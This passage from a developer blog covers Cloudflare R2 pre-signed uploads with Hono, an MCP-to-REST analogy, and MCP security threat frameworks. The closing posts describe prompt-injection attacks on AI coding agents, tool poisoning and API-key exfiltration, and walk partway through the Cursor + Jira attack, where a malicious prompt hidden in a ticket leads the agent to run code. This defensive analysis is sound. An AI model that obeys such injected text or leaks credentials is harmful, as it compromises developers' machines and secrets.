        "methods": ["PUT", "GET", "POST", "DELETE"],
        "origins": ["*"],
        "headers": [
          "content-type",
          "x-amz-meta-original-filename",
          "x-amz-meta-uploaded-at",
          "x-amz-meta-uploaded-by"
        ]
      },
      "exposeHeaders": ["ETag"],
      "maxAgeSeconds": 3000
    }
  ]
}

Request/Response Contracts (Summary)

Generic upload URL: POST /api/uploads/pre-signed-url (UUID per object)
Profile image upload URL (stable key): POST /api/user/profile/image
- Request: { contentType: string, fileSize: number, originalFilename?: string }
- Response: { presignedUrl, key, contentType, fileSize, expiresIn: 86400, uploadedBy, uploadedAt, originalFilename }
- Frontend must upload with headers:
  - Content-Type: <file.type>
  - x-amz-meta-original-filename: <originalFilename>
  - x-amz-meta-uploaded-by: <uploadedBy>
  - x-amz-meta-uploaded-at: <uploadedAt>
- Do not set Content-Length manually.
Profile image download URL: GET /api/user/profile/image → returns pre‑signed GET URL (default 3600s).

Flow: Profile Image Upload (Stable Key, Overwrite)

sequenceDiagram
  autonumber
  participant F as Frontend (SPA)
  participant A as Hono API (Worker)
  participant DB as Database
  participant R2 as Cloudflare R2

  F->>A: POST /api/user/profile/image { contentType, fileSize, originalFilename? }
  A->>A: Authenticate (Better Auth)
  A->>DB: SELECT user by session.user.id
  DB-->>A: user row (image key?)
  alt first-time (no key)
    A->>DB: UPDATE user.image = randomUUID() (no extension)
    DB-->>A: updated row
  end
  A->>A: aws4fetch.sign( PUT, headers, signQuery, expires=86400, allHeaders=true )
  A-->>F: { presignedUrl, key, uploadedBy, uploadedAt, originalFilename, ... }

  F->>R2: PUT presignedUrl (headers: Content-Type, x-amz-meta-*)
  R2-->>F: 200 OK

Flow: Generic Upload (UUID per Object)

flowchart TD
  A[Frontend SPA] -->|POST filename,contentType,fileSize| B[API /api/uploads/pre-signed-url]
  B --> C[Auth + Validate]
  C --> D[Generate UUID.ext]
  D --> E[aws4fetch.sign PUT signQuery]
  E -->|presignedUrl, metadata| A
  A -->|PUT to presignedUrl| R2[Cloudflare R2]
  R2 -->|200 OK| A

Flow: Profile Image Download

sequenceDiagram
  autonumber
  participant F as Frontend (SPA)
  participant A as Hono API (Worker)
  participant DB as Database
  participant R2 as Cloudflare R2

  F->>A: GET /api/user/profile/image
  A->>A: Authenticate (Better Auth)
  A->>DB: SELECT user.image
  DB-->>A: key or null
  alt has image
    A->>A: aws4fetch.sign( GET, signQuery, expires=3600 )
    A-->>F: { hasImage: true, downloadUrl, filename, expiresIn }
  else no image
    A-->>F: { hasImage: false }
  end

Security Model and Decisions

Covered as part of the flows above are the following security considerations:

Authentication enforced for all signing endpoints.
Authorization: profile image key is scoped to authenticated user; generic uploads still require session.
Upload pre‑signed URLs default to 24h (86400s); download URLs commonly 1h (3600s). Use shorter TTLs if needed.
Overwrite policy for profile images ensures a single object per user.

Implementation Notes

Signing: aws4fetch options aws: { signQuery: true, expires: 86400, allHeaders: true } to include Content-Type in the signature.
R2 object URL: https://<account-id>.r2.cloudflarestorage.com/<bucket>/<key>.
Stable key is UUID without extension; determined/created on first call, then reused.
Database update for profile (name‑only) must not null image unless image field is explicitly provided.
Backend must return the exact metadata used for signing; frontend must reuse it when uploading.
Generate timestamps once on the backend and reuse in the response to avoid signature drift.

Known Pitfalls and Mitigations

Wildcard CORS headers are unreliable on R2 → explicitly allow content-type and required x-amz-meta-* headers.
Missing Content-Type in signature → 403; ensure it’s included in the signed headers and in the upload.
Do not send Content-Length from the browser.
AWS SDK v3 is not Workers‑compatible (e.g., DOMParser), use aws4fetch.
Inconsistent expiration across flows; standardize.
Undefined metadata (e.g., originalFilename) leads to signature mismatch; always return and reuse exact values.

Operational Considerations

Open security aspects remain for future consideration:

Logging: record pre‑signed generation events (do not log secrets).
Rate limiting (future): throttle pre‑signed URL issuance per user.
Orphaned objects (future): generic uploads may need cleanup or commit semantics.
Versioning (future): store multi‑version keys instead of overwrite if historical versions are required.

Building Cloudflare R2 Pre-signed URL Uploads with Hono: A Complete Implementation Guide

Tue, 14 Oct 2025 00:00:00 GMT

The following write-up presents a comprehensive walkthrough of implementing secure file uploads using Cloudflare R2 (Cloudflare’s cloud object storage, comparable to AWS S3) and Hono for backend HTTP API including common pitfalls and best practices.

Apply CORS policy

Introduction

Building file upload functionality in modern web applications can be tricky, especially when you want to maintain security, performance, and scalability. After extensive research and implementation, I’ll present a robust solution using Cloudflare R2 for storage and Hono for the API layer, with pre-signed URLs enabling direct frontend-to-storage uploads.

This article chronicles a complete implementation journey, including the challenges I faced, the mistakes I made, and the solutions I discovered. Whether you’re building a photo gallery, document management system, or any application requiring file uploads, this guide will help you avoid common pitfalls and implement a production-ready solution.

Why This Combination Works

Cloudflare R2: The Storage Solution

S3-compatible API: Familiar interface with excellent support
Global edge network: Fast uploads from anywhere in the world
Cost-effective: No egress fees, pay only for storage
Integrated with Workers: Seamless deployment and management

Hono: The API Framework

Lightweight and fast: Built for edge computing, native to Cloudflare Workers platform.
TypeScript-first: Excellent type safety and developer experience
Cloudflare Workers native: Optimized for the Workers runtime
Middleware ecosystem: Rich set of plugins and utilities

Pre-signed URLs: The Security Model

Direct uploads: Files go straight to R2, reducing server load from Hono and also cutting down latency
Time-limited access: URLs expire automatically
Cryptographic security: Signed requests prevent tampering
Fine-grained control: Specify exact upload conditions

The Journey: What I Learned

The implementation journey wasn’t without its challenges. Here’s what I discovered along the way:

The DOMParser Dilemma

My first attempt used the AWS SDK v3 (@aws-sdk/client-s3 as is recommended by Cloudflare as part of supported libraries), which seemed like the obvious choice for S3-compatible operations.

However, I quickly hit a wall:

Uncaught ReferenceError: DOMParser is not defined

The AWS SDK v3 relies on browser APIs like DOMParser that aren’t available in Cloudflare Workers. This reminded me about Cloudflare’s Workers unique runtime and that not all Node.js packages work in edge environments (on Cloudflare, at least).

The aws4fetch Solution

After researching Cloudflare’s documentation, I discovered aws4fetch - another recommended library for a lightweight, Workers-compatible library specifically designed for AWS signature generation. This was the breakthrough (but this too came with some challenges in terms of API usage).

Configuration Complexity

Setting up R2 correctly required understanding several moving parts:

Bucket creation and CORS configuration (some gotchas here)
API token generation and management
Environment variable handling for different environments
TypeScript type generation

Common Pitfalls and What NOT to Do

❌ Don’t Use AWS SDK v3 in Workers

// DON'T DO THIS
import { S3Client, PutObjectCommand } from '@aws-sdk/client-s3'
// This will fail with DOMParser errors in Workers

❌ Don’t Put Secrets in wrangler.jsonc

// DON'T DO THIS - secrets will be committed to git
{
  "vars": {
    "R2_ACCESS_KEY_ID": "your-secret-key"
  }
}

❌ Don’t Skip CORS Configuration

Without proper CORS setup, browsers will block direct uploads to R2, even with valid pre-signed URLs.

❌ CORS Setup Expects Specific Format

If you’re pushing CORS rules via CLI, ensure the JSON structure matches Cloudflare’s expectations which isn’t just the regular JSON representation of CORS rules and how it looks in the Cloudflare UI but rather it needs to match their HTTP API body format.

❌ Don’t Forget File Validation

Always validate file types, sizes, and user authentication before generating pre-signed URLs.

❌ Don’t Use Hardcoded URLs

R2 URLs should be constructed dynamically using environment variables.

Prerequisites

Before diving into implementation, ensure you have:

Cloudflare Account: With R2 enabled (you need to manually opt-in for this from the Cloudflare dashboard)
Node.js 20+: For local development
Wrangler CLI: npm install -g wrangler
Basic Hono Knowledge: Understanding of routes and middleware
TypeScript Experience: For type safety and better development

Step-by-Step Implementation

Step 1: Project Setup

Start with a fresh Hono project or add to an existing one:

# Initialize project
npm init -y
npm install hono aws4fetch better-auth drizzle-orm
npm install -D wrangler @types/node typescript

Step 2: Configure Wrangler

Create or update wrangler.jsonc:

{
  "$schema": "node_modules/wrangler/config-schema.json",
  "name": "hono-r2-uploads",
  "main": "src/index.ts",
  "compatibility_date": "2025-10-13",
  "compatibility_flags": ["nodejs_compat"],
  // I needed the below 0.0.0.0 ip rule because I am doing
  // local development and testing from within a dev container
  "dev": {
    "ip": "0.0.0.0"
  },
  // Define the bucket name and how it is binded through the Worker code
  "r2_buckets": [
    {
      "binding": "GALLERY",
      "bucket_name": "gallery"
    }
  ]
}

Step 3: Create R2 Bucket

# Create the bucket
npx wrangler r2 bucket create gallery

# Configure CORS (create cors.json)
cat > cors.json << EOF
{
  "rules": [
    {
      "allowed": {
        "methods": ["PUT", "GET", "POST","DELETE"],
        "origins": ["*"],
        "headers": ["content-type",
          "x-amz-meta-original-filename",
          "x-amz-meta-uploaded-at",
          "x-amz-meta-uploaded-by"
        ]
      },
      "exposeHeaders": ["ETag"],
      "MaxAgeSeconds": 3000
    }
  ]
}
EOF

❌ Piftall alert: The CORS configuration must match Cloudflare’s expected format AND you can’t just use wildcards for headers because you’ll get a PUT 403 Forbidden error and a CORS error.

Another small note, remember to actually replace the origins value with your frontend domain in production, but otherwise * is fine for development.

Apply CORS policy

This is how you can set the CORS policy using Wrangler CLI:

npx wrangler r2 bucket cors set gallery --file=cors.json

Step 4: Generate TypeScript Types

Next, run this to create worker-configuration.d.ts with proper type definitions:

npx wrangler types --env-interface Env

Step 5: Environment Configuration

Create .dev.vars for local development:

# .dev.vars (never commit this file)
BETTER_AUTH_URL=https://your-app.com
BETTER_AUTH_SECRET=your-secret-key-here
DATABASE_URL=your-database-connection-string
CLOUDFLARE_ACCOUNT_ID=your-account-id
R2_ACCESS_KEY_ID=your-r2-access-key-id
R2_SECRET_ACCESS_KEY=your-r2-secret-access-key

Step 6: Implement the Upload Handler

Create src/routes/uploads.ts:

import { Hono } from 'hono'
import { AwsClient } from 'aws4fetch'
import { auth } from '../lib/better-auth'
import { randomUUID } from 'crypto'

const uploads = new Hono<{ Bindings: Env }>()

// Helper function to validate image MIME type
function isValidImageType(mimeType: string): boolean {
  return mimeType.startsWith('image/')
}

// Helper function to get file extension from MIME type
function getExtensionFromMimeType(mimeType: string): string {
  const mimeToExt: Record<string, string> = {
    'image/jpeg': '.jpg',
    'image/jpg': '.jpg',
    'image/png': '.png',
    'image/gif': '.gif',
    'image/webp': '.webp',
    'image/svg+xml': '.svg',
    'image/bmp': '.bmp',
    'image/tiff': '.tiff',
  }
  return mimeToExt[mimeType] || '.jpg'
}

uploads.post('/pre-signed-url', async (c) => {
  try {
    // Validate authentication
    const session = await auth(c.env).api.getSession({
      headers: c.req.raw.headers
    })

    if (!session) {
      return c.json({ error: 'Authentication required' }, 401)
    }

    // Parse request body
    const body = await c.req.json()
    const { filename, contentType, fileSize } = body

    // Validate required fields
    if (!filename || !contentType || !fileSize) {
      return c.json({ 
        error: 'Missing required fields: filename, contentType, fileSize' 
      }, 400)
    }

    // Validate file size (10MB limit)
    const maxSize = 10 * 1024 * 1024 // 10MB in bytes
    if (fileSize > maxSize) {
      return c.json({ 
        error: 'File size exceeds 10MB limit' 
      }, 400)
    }

    // Validate content type (must be image)
    if (!isValidImageType(contentType)) {
      return c.json({ 
        error: 'Only image files are allowed' 
      }, 400)
    }

    // Generate unique filename using UUID
    const fileExtension = getExtensionFromMimeType(contentType)
    const uniqueFilename = `${randomUUID()}${fileExtension}`

    // Create AWS client for R2 using aws4fetch (Workers-compatible)
    const aws = new AwsClient({
      accessKeyId: c.env.R2_ACCESS_KEY_ID,
      secretAccessKey: c.env.R2_SECRET_ACCESS_KEY,
      service: 's3',
      region: 'auto',
    })

    // Generate timestamp once to avoid race conditions
    const uploadedAt = new Date().toISOString()

    // Construct the R2 bucket URL (correct format for R2)
    const bucketUrl = `https://${c.env.CLOUDFLARE_ACCOUNT_ID}.r2.cloudflarestorage.com/gallery/${uniqueFilename}`

    // Create a signed request for PUT operation with query string signing
    // Use minimal headers to avoid signature mismatches
    const signedRequest = await aws.sign(bucketUrl, {
      method: 'PUT',
      headers: {
        'Content-Type': contentType,
        'x-amz-meta-original-filename': filename,
        'x-amz-meta-uploaded-by': session.user.id,
        'x-amz-meta-uploaded-at': uploadedAt,
      },
      aws: { 
        signQuery: true,
      } 
    })

    const finalPresignedUrl = signedRequest.url

    // Return the pre-signed URL and metadata
    return c.json({
      presignedUrl: finalPresignedUrl,
      filename: uniqueFilename,
      originalFilename: filename,
      contentType,
      fileSize,
      expiresIn: 3600,
      uploadedBy: session.user.id,
      uploadedAt: uploadedAt,
    })

  } catch (error) {
    console.error('Error generating pre-signed URL:', error)
    return c.json({ 
      error: 'Internal server error' 
    }, 500)
  }
})

export default uploads

Step 7: Integrate Routes

Update src/index.ts:

import { Hono } from 'hono'
import { cors } from 'hono/cors'
import { auth } from './lib/better-auth'
import uploads from './routes/uploads'

const app = new Hono<{ Bindings: Env }>()

// CORS middleware
app.use('*', cors({
  origin: '*',
  credentials: true,
  allowMethods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
  allowHeaders: ['Content-Type', 'Authorization'],
}))

// Mount Better Auth handler
app.on(['GET', 'POST'], '/api/auth/*', (c) => {
  return auth(c.env).handler(c.req.raw)
})

// Mount uploads routes
app.route('/api/uploads', uploads)

app.get('/', (c) => {
  return c.text('Hello Hono!')
})

export default app

Testing and Validation

Local Development

# Start development server
npm run dev

# Test the endpoint
curl -X POST http://localhost:8787/api/uploads/pre-signed-url \
  -H "Content-Type: application/json" \
  -d '{"filename":"test.jpg","contentType":"image/jpeg","fileSize":1024}'

Authentication Testing

The endpoint requires authentication. You’ll need to:

Set up Better Auth with user registration/login
Include authentication cookies in requests
Test with authenticated sessions

Pre-signed URL Validation

Generated URLs should:

Contain AWS signature parameters (X-Amz-Algorithm, X-Amz-Credential, etc.)
Include expiration timestamp (X-Amz-Expires)
Point to the correct R2 bucket URL
Include metadata headers

Production Deployment

Step 1: Create R2 API Token

Go to Cloudflare Dashboard → R2 Object Storage → Manage R2 API tokens
Click “Create API token” → “Custom token”
Set permissions: Object Read & Write for gallery bucket
Copy the Access Key ID and Secret Access Key

Step 2: Set Production Secrets

# Set secrets for production
npx wrangler secret put BETTER_AUTH_URL
npx wrangler secret put BETTER_AUTH_SECRET
npx wrangler secret put DATABASE_URL
npx wrangler secret put CLOUDFLARE_ACCOUNT_ID
npx wrangler secret put R2_ACCESS_KEY_ID
npx wrangler secret put R2_SECRET_ACCESS_KEY

Step 3: Deploy

npm run deploy

Step 4: Update CORS for Production

Basically the update-cors lifecycle hook on npm writes a cors.json file and pushes it to R2:

# Restrict CORS to your domain
npm run update-cors "https://yourdomain.com" "https://www.yourdomain.com"

Frontend Integration

A Vue.js Example for Pre-signed URL Uploads

<template>
  <div>
    <input 
      type="file" 
      accept="image/*" 
      @change="handleFileUpload"
      :disabled="uploading"
    />
    <div v-if="uploading">Uploading...</div>
    <div v-if="uploadedFiles.length">
      <h3>Uploaded Files:</h3>
      <div v-for="file in uploadedFiles" :key="file.filename">
        <p>Original: {{ file.originalName }}</p>
        <p>Stored as: {{ file.filename }}</p>
      </div>
    </div>
  </div>
</template>

<script setup>
import { ref } from 'vue'

const uploading = ref(false)
const uploadedFiles = ref([])

const uploadFile = async (file) => {
  const response = await fetch('/api/uploads/pre-signed-url', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    credentials: 'include',
    body: JSON.stringify({
      filename: file.name,
      contentType: file.type,
      fileSize: file.size,
    }),
  })

  const { presignedUrl, filename } = await response.json()

  await fetch(presignedUrl, {
    method: 'PUT',
    headers: { 'Content-Type': file.type },
    body: file,
  })

  return filename
}

const handleFileUpload = async (event) => {
  const files = Array.from(event.target.files)
  
  for (const file of files) {
    if (!file.type.startsWith('image/')) {
      alert('Only image files are allowed')
      continue
    }

    if (file.size > 10 * 1024 * 1024) {
      alert('File size must be less than 10MB')
      continue
    }

    uploading.value = true
    try {
      const filename = await uploadFile(file)
      uploadedFiles.value.push({ 
        filename, 
        originalName: file.name 
      })
    } catch (error) {
      console.error('Upload failed:', error)
    } finally {
      uploading.value = false
    }
  }
}
</script>

Conclusion

Relying on Pre-signed URLs for direct uploads to Cloudflare R2 infra might come at some cost of complexity, but the benefits in terms of scalability, security, and performance are well worth it.

Hopefully, the documented journey above with code snippets and pitfalls to avoid will help you implement a similar solution in your own projects without going through various hurdles and open issues.

A RESTful HTTP Mental Model to Understand MCP

Sun, 12 Oct 2025 00:00:00 GMT

The Model Context Protocol (MCP) is a specification designed to facilitate interaction between AI models, tools, and resources. I was wondering about an experiment where we could try to describe MCP in a way that is similar to the RESTful HTTP architecture to make MCP more understandable for those coming from web development.

A Reference MCP Server

To put our methodology and HTTP’s RESTful mental model into play we’ll imagine a real-world use-case of an MCP Server.

Our reference MCP Server will be a “Travel Planner” that helps users plan trips by providing information about destinations, accommodations, and activities. The MCP Server will allow booking flights or hotels and cancelling reservations.

Here is a quick high-level code implementation in JavaScript of the MCP Server using Anthropic’s official @modelcontextprotocol/sdk package:

import { MCPServer } from '@modelcontextprotocol/sdk';

// Tool for searching flights
const searchFlightsTool = {
  name: 'searchFlights',
  description: 'Search for available flights based on destination and dates.',
  parameters: {
    destination: { type: 'string', description: 'Destination city or airport code' },
    departureDate: { type: 'string', description: 'Departure date in YYYY-MM-DD format' },
    returnDate: { type: 'string', description: 'Return date in YYYY-MM-DD format' },
  },
  execute: async (params) => {
    // Mock implementation of flight search
    return [
      { flightNumber: 'FL123', airline: 'AirExample', price: 300 },
      { flightNumber: 'FL456', airline: 'FlySample', price: 350 },
    ];
  },
};

// Tool for cancelling bookings
const cancelBookingTool = {
  name: 'cancelBooking',
  description: 'Cancel an existing booking using the booking ID.',
  parameters: {
    bookingId: { type: 'string', description: 'The ID of the booking to cancel' },
  },
  execute: async (params) => {
    // Mock implementation of booking cancellation
    return { success: true, message: `Booking ${params.bookingId} has been cancelled.` };
  },
};

Understanding MCP through RESTful HTTP

To better understand MCP, we can draw parallels to the well-known RESTful HTTP architecture, which is widely used in web development.

Quick reminder on the building blocks of RESTful HTTP:

HTTP Methods drive actions (GET, POST, PUT, DELETE)
Resources are the entities being acted upon (e.g., users, posts)
Status Codes indicate the result of the action (e.g., 200 OK, 404 Not Found)
Endpoints are the URLs where resources can be accessed (e.g., /api/users)

If we map the above RESTful concepts to MCP, we can see the following correspondences:

HTTP Methods -map-to-> Tools (e.g., searchFlights, cancelBooking): meaning, what would be a DELETE HTTP method in RESTful would be a cancelBooking tool in MCP. A GET HTTP method would be a searchFlights tool in MCP.
Resources -map-to-> business resources in an MCP Server (e.g., ‘flights’, ‘bookings’).
Status Codes -map-to-> Tool Responses (e.g., success, or ‘not found’ responses).
Endpoints -map-to-> MCP Server Resources (e.g., `flights://deals’, ‘bookings://{id}’).

As you can see, some of the concepts translate quite well between RESTful HTTP and MCP, with a strong correlation like Endpoints and MCP Server Resources, others, not so much.

Of course, keeping in mind that the underlying Model Context Protocol specification relies on a JSON-RPC 2.0 transport layer, which is maybe more akin to GraphQL than RESTful HTTP.

Applying MVC (Model-View-Controller Paradigm) to MCP

What if we also try to apply the MVC (Model-View-Controller) paradigm to MCP? How would that look?

An break-down of MVC architecture consists of:

Model: Manages the data and business logic.
View: Handles the display and user interface.
Controller: Manages user input and interactions.

This is a classic software design pattern used for developing user interfaces that divides the related program logic into three interconnected elements and has dominated early-age web development until it was superseded by other paradigms like MVVM (known mostly for Single Page Applications (SPA) frameworks like Angular, React, Vue, etc.).

So if we try to map the MVC components to MCP, we could see something like this:

M - Services
V - Tool Response
C - Tools

    Model                 View                  Controller
      |                     |                      |
Business Logic        Tool Response        Tools or Resources

With MCP-UI emerging in recent months, potentially the View component could be represented by the MCP-UI, which provides a user interface for interacting with the MCP Server. Would it make a better fit? Time will tell.

MVC likely makes a better paradigm for capturing a mental model of how MCP Servers are architected, however, I’ve only just scratched the surface here with just tools and resources, where-as MCP Servers have other capabilities like Prompts. Moreso, there’s also another player in the mix which is the MCP Client and capabilities more directly related to it like Elicitations and Sampling.

Conclusion

I find it an interesting exercise to explore the analogy of MCP with other prior technical concepts like REST and MVC and even when those don’t map perfectly, there’s hopefully a nugget to be found in the exercise and learn something new.

Keep on MCPing.

A Proposed Evaluation Framework for MCP Server Security

Tue, 07 Oct 2025 00:00:00 GMT

As we developers rush to adopt and connect a new MCP Server, we should stop, take a step back, and ask ourselves: how secure is this server? In this blog post, I propose a lightweight evaluation framework to assess the security of MCP Servers, ensuring they meet the necessary standards to protect our applications and data.

I urge you to avoid using an MCP Server without evaluating its security first, but you can’t always do that (some MCP Servers are hosted remotely), and while this write-up doesn’t aim to be exhaustive, it should give you a good starting point in terms of MCP security awareness.

A Proposed Evaluation Framework for Model Context Protocol Servers

I’ve layered the MCP Server security framework into three main layers, each with its own set of criteria:

Layer 1: MCP Server configuration
Layer 2: MCP Server implementation
Layer 3: MCP Server assets

These are positioned in a triangle shape that represents the hierarchy in terms of level of control you have over each layer vs the level of security impact in-case of a compromise.

The MCP Server security framework is illustrated below:

Layer 1: MCP Server Configuration

How much control you have over the MCP Server configuration depends on how is it provisioned and the MCP Host (e.g: Cursor or Claude Desktop).

For example, to integrate an MCP Server into your Cursor agentic workflow you’d write the following JSON file in .cursor/mcp.json:

{
  "mcpServers": {
    "command": "npx",
    "args": ["some-mcp-server"],
    "env": {
      "API_KEY": "your-api-key"
    },
  }
}

You likely already see the security implications of this configuration file, right? There’s an API token in there which is a problem because it is a risk that you carry. Consider the following security concerns:

What if you were to commit this file to a public GitHub repository? you’d be exposing your API key to the world.
What if you’d be a victim of a supply chain attack or otherwise where the malware were to exfiltrate this MCP servers configuration file?
What if an MCP Server itself or your Cursor IDE would be instructed via [indirect] prompt injection to read this file and exfiltrate the API key?

These are all valid concerns, and they highlight the importance of securing the MCP Server configuration.

Layer 2: MCP Server Implementation

MCP Servers aren’t magic, they’re just code. This code is implemented to power MCP Tools, MCP Resources and other capabilities. Just like backend, frontend or otherwise any other code, MCP Servers can be written in an insecure manner that would lead to security vulnerabilities.

In fact, insecure MCP Servers aren’t some hypothetical scenario, I’ve been personally finding and reporting security vulnerabilities in MCP Servers for a while now. For reference, consider the following security advisories I’ve reported which I highly recommend you review if you’re building MCP Servers:

Mastra AI MCP Server for their documentation found vulnerable to information exposure via path traversal: distributed via npm package @mastra/mcp-docs-server.
Command Injection in adb-mcp MCP Server: distributed via npm package adb-mcp and tracked via CVE-2025-59834.
GitHub Kanban MCP Server vulnerable to Command Injection tracked via CVE-2025-53818.

Layer 3: MCP Server Assets

The last layer I’ve named “Assets” refers to the underlying components that the MCP Server relies on and mostly this includes third-party components. The risks are similar to those of any other software supply chain, and you should be aware of them and monitor them:

Vulnerable dependencies: MCP Servers may rely on third-party libraries or frameworks that have known vulnerabilities. Regularly check for updates and security patches for these dependencies.
Outdated software: Ensure that the MCP Server software itself is kept up-to-date with the latest security patches and updates.
License compliance: Verify that the MCP Server and its dependencies comply with relevant software licenses to avoid legal issues.

These are all quite known software supply chain risks, and you should be aware that they’re also present in MCP Servers and expose you in a similar manner to using an open source component in a web application project, for example.

What else should we be asking about MCP Server security?

Some frequently asked questions that would be good to figure out as we learn more about MCP server adoption:

MCP Server Security FAQ

How do we evaluate MCP Server registry trust level?
How do we evaluate remote MCP Servers trust level?
How do we analyze MCP Tool handlers?
How do we analyze MCP Tool descriptions?
How do we watch out for MCP Tool conflicts? (what I’ve described above as “Tool Shadowing”)
How do we figure out the runtime security for tool input and output?
How do we figure out the runtime of MCP Server sandbox or tool sandbox? (as in, the environment where the MCP Server runs)

Some of these are mitigated by solutions such as mcp-scan which is an open source static analysis tool for MCP Servers, and Snyk Code which can perform static analysis on MCP Server code (the MCP Tool implementation).

More answers on those questions will come later.

Evaluation Framework for MCP Security Threats and Risks

Sun, 05 Oct 2025 00:00:00 GMT

In the wake of the recent MCP (Model Context Protocol) related security incidents including the notable Cursor + Jira MCP 0-click attack, GitHub MCP Server exploitation and significant vulnerabilities discovered in various MCP implementations, it is crucial to establish a comprehensive evaluation framework for assessing the security threats and risks associated with MCPs.

I’ve mapped out a structured framework that categorizes and evaluates the various security threats and risks linked to MCPs. This framework encompasses multiple dimensions including threat vectors, and potential vulnerable and threat scenarios.

Hopefully, with this framework, developers and organizations can more thoroughly analyze the threats and risks around MCP security when they adopt and roll-out its use across the company.

MCP Security Threats and Risks Evaluation Framework

In this proposed framework that I’ve put forward, I categorized security threats and risks into several key dimensions that reflect prior security incidents from supply-chain security domain and on to inherent agentic workflows for developers.

The four dimensions are:

Malicious MCP Servers
Consuming MCP Servers
Agent’ing MCP Servers (yes I realize I’m making up the “agenting” word here, just a hobby, won’t be something big)
Building secure MCP Servers

mcp security threats and risks overview

How do these dimensions break down into practical threat vectors and scenarios? Let’s explore each dimension in detail.

1. Malicious MCP Servers

Malicious MCP Servers, just like we’ve learned from malicious npm packages (and PyPI packages), can introduce a variety of threats to the systems that consume them.

How do malicious MCP servers operate and what are the potential threat vectors? Here are some key examples:

Tool poisoning: Tool poisoning involves injecting malicious code or behavior into the MCP server itself as part of the tool instructions. You should actually be scanning MCP servers for tool poisoning as part of your security practices.
Tool shadowing: Tool shadowing occurs when a malicious MCP server provides tools that mimic legitimate ones but perform harmful actions instead. The “shadowing” aspect refers to the deceptive nature of the malicious tool definition to appear (named) as another trusted tool. This is somewhat akin to typosquatting tools.
Malicious dependencies: Malicious MCP servers may depend on other compromised or malicious MCP servers, or just regular dependencies, to propagate harmful code or behavior: Since installing MCP servers often involves reliance on package managers and dependencies, this can be a significant threat vector.
Malicious post-install scripts: Given that MCP servers are often “just packages”, most commonly, npm packages, they have the inherent capability of defining and running post-install scripts. These scripts can be exploited to execute malicious code during the installation process, leading to system compromise.

2. Consuming MCP Servers

How do you consume an MCP Server today? what are the potential threats and risks associated with consuming MCP servers? Are they just like consuming open source packages from npm? How do you integrate them?

Here are a few threat vectors and scenarios to consider:

Trusted upstream sources: Where are you installing the MCP Server from? There are various MCP directories including PulseMCP, Cursor.Directory and others. Are you installing an MCP Server directly from GitHub? from npm? from a Docker Hub? how do you vet authenticity, ownership, trustworthiness?
Rug pulls and version pinning: MCP servers can be subject to rug pulls, where a previously trusted MCP server is suddenly removed or replaced with a malicious version. Version pinning and integrity checks can help mitigate this risk. Are you practicing this today?
Local vs Remote: The risk impact varies significantly based on whether the MCP server is run locally or remotely. Local MCP servers can have more direct access to system resources, while remote MCP servers may introduce network-related vulnerabilities and data exposure risks.
Authentication: How do you authenticate and authorize access to the MCP server? Are you using API keys, OAuth tokens, or other mechanisms?

3. Agent’ing MCP Servers

MCP Servers are utilized in agentic workflows (btw not only code, but also end-user common productivity like booking flights), where they can autonomously perform tasks and make decisions.

The risks laid out in this section are more about the way the MCP Servers are integrated into existing tools and workflows, commonly known as MCP Clients or MCP Hosts, per the Model Context Protocol specification.

Some of these risks include:

Indirect prompt injection: Possibly the most common attack vector for agentic workflows is the security concern of context injected into a conversation, message history or otherwise consumed information by the MCP Server (or its underlying LLM). This can lead to unintended behavior, data leakage, or manipulation of the agent’s actions.
Toxic Flow analysis: Toxic Flow Analysis, pioneered by Snyk security researchers (formerly Invariant Labs)
Secure use of MCP server credentials: The current need for some MCP Servers to use an API token or API key credential as part of the definition of MCP Server configuration is a potential time-bomb as it is stored in plain-text on disk as part of the MCP servers configuration file.

4. Building Secure MCP Servers

MCP Servers are incredible for enabling agentic workflows. You add a new MCP Server to Claude Code, to Cursor and Qodo Command, but wait, MCP Servers are just… code, yes? So the logical conclusion is that tool, resource and other capabilities in the way that they are implemented in MCP Servers can be flawed and subject to insecure code, hence introducing security vulnerabilities.

Some note-worthy examples of types of security vulnerabilities that can be introduced when building MCP Servers include:

Secure MCP code: Vulnerable MCP Tool implementation or vulnerable MCP Resource implementation can lead to security vulnerabilities. For example, an MCP Tool that executes shell commands without proper sanitization can be exploited for command injection attacks.
1. Example evidence: SQL Injection and Bypassing “Read-Only” Mode in Xata’s MCP Server
2. Example evidence: GitHub Kanban MCP Server Command Injection Vulnerability Threatens Developer Workflows
Access control (& permissions): In continuation to the Authentication risk vector mentioned in the Consuming MCP Servers section, Access Control and Permissions are critical aspects to consider when building secure MCP Servers. Ensuring that only authorized users and systems can access and utilize the MCP Server’s capabilities is essential to prevent unauthorized actions and data breaches. Are you properly separating user data? improper authentication and authorization can lead to unauthorized access and potential data breaches.
Secure dependencies: MCP Servers are often packaged and distributed via package managers like npm or uv which means they can inherit vulnerabilities from their dependencies. Regularly auditing and updating dependencies is crucial to maintaining the security of the MCP Server.

The Cursor Agentic Jira MCP Attack Explained with Toxic Flow Analysis

Fri, 03 Oct 2025 00:00:00 GMT

What happened in Cursor + Jira 0-Click attack? I’ll break it down for you in a flow chart that traverses the attack step-by-step, how it was exploited, and why developers are at the center of it all.

When: August 1, 2025 security advisory by Marina Simakov of Zenity Labs
What: Attack targeting Cursor IDE users
How: Toxic flows in the Model Context Protocol (MCP) exploited by attackers

What is MCP, Toxic Flows, and why should you care? let’s break it down.

MCPs in developers tool-box

Model Context Protocol (MCP) servers enable developers to embed actions, information and context into their agentic coding workflows. These may be IDE tools like Cursor, or command-line tools like Claude Code.

Developers reach out to MCPs to get context-aware code completions, code generation, and other AI-assisted coding tasks. In this sense, JIRA MCP is a server that provides context about JIRA tickets, projects, and workflows to the AI coding assistant. Developers can then use a ticket’s own information to plan, generate, and update code related to that ticket. All without opening Jira, or a web browser, because the agent (Cursor in our story) can drive actions via the Jira MCP.

The Cursor + Jira MCP Workflow

Developers using Cursor IDE can connect to the Jira MCP server to enhance their coding experience. The workflow typically looks like this:

This is pretty straightforward. The developer prompts the AI coding assistant (Cursor) to perform actions related to a Jira ticket. Cursor then communicates with the Jira MCP server to fetch relevant information about the ticket, such as its description, status, and comments. The MCP server responds with the requested data, which Cursor uses to generate context-aware code completions or suggestions.

The Cursor + Jira MCP Attack Flow

In parallel to the agentic developer workflow above, the attacker sends an email to the support team, which translates to a Jira ticket. The ticket contains a malicious prompt that abuses the MCP protocol to execute arbitrary code on the developer’s machine.

So the following takes place:

Putting these two seemingly separate flows together, we get the full picture of how the attack unfolds:

